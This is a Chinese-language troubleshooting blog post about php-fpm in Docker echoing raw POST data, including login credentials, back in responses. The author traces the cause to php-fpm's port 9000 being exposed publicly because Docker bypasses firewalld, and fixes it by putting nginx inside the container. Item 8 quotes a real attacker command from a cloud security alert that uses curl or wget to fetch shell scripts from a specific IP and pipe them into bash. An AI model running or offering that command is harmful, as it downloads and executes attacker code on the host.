php-fpm将post数据原样返回的问题

  1. 问题描述:用postman发送请求,带raw数据,或者用juqery进行post数据提交,获取返回数据后,字符串前方会自动连上post的原始数据。
  2. 详细描述:nginx + (docker + php7) 环境,php文件中只有一行代码:“echo ‘ok’;”,使用jquery的ajax方式进行post请求,或者用 postman 的 raw 方式提交数据,提交的数据会被原样返回,比如 rwa 中的内容是 “abcd…”,则返回的数据是 “abc…ok”,重启php-fpm后,问题消失,隔一段时间以后,问题又出来了。
  3. 问题原因:不详
  4. 问题猜测:服务器有漏洞且已经被利用,以某种方式在 docker 或 php 或 nginx 的某一层对 request 和 response 数据进行了特殊处理,提取了 post 的 raw 数据,在response 的时候,进行了输出,
  5. 问题影响:由于部分页面的登录页用的是 jquery ajax 的 post 方式提交的用户名密码,因为返回的结果前带了用户名密码字符串,导致无法识别返回结果,登录无效果。
  6. 临时解决:写脚本定时重启 php-fpm
  7. 解决状态:未解决
  8. 2022-02-09 阿里云安全提示 /usr/lib/polkit-1/polkitd 程序有权限漏洞,已被利用执行了‘sh -c [ -f “/bin/bash” ] && (curl -s http://82.117.252.83/ph.sh||wget -q -O- http://82.117.252.83/ph.sh)|bash || (curl -s http://82.117.252.83/ph2.sh||wget -q -O- http://82.117.252.83/ph2.sh)|sh’,更新了polkit 后漏洞已解决。猜测跟本次问题有关。。。
  9. 重新设置了防火墙,只开放了几个必要的端口。问题还没解决。kill 了polkitd 程序,继续观察。
  10. 备份docker容器,升级docker到最新版本,依然没解决
  11. 出现这个问题的不止我一个:https://learnku.com/laravel/t/51759,里面没给出详细的解决办法,但是看讨论结果,好像是php-fpm监听的端口被暴露在公网从而漏洞被利用了。因为centos7 中 docker 使用-p命令的时候,会绕过 firewall 自己设置 iptable。(firewall-cmd –list-ports 中没有开启,但是 telnet ip:9000 能看出来端口处于开放状态)想找一个禁止外网访问 docker 的端口只允许宿主机访问 容器 接口的方法没有找到,但是纯 php-fpm 容器肯定是要暴露端口的,尝试了: /etc/docker/daemon.json 中 添加”iptable”:false , 结果宿主机没法访问到php-fpm了。思来想去,在 php-fpm 的容器里装个 nginx:apt-get install nginx , 容器只暴露80 和 443 端口,容器内部 nginx 转 php 的 9000 , 再隔一段时间观察下。
  12. 问题没有再出现,看来就是php-fpm端口暴露的问题。如果你也遇到这个问题,赶紧想办法屏蔽php-fpm的外网端口吧

作者: 二皮

Hackers please go away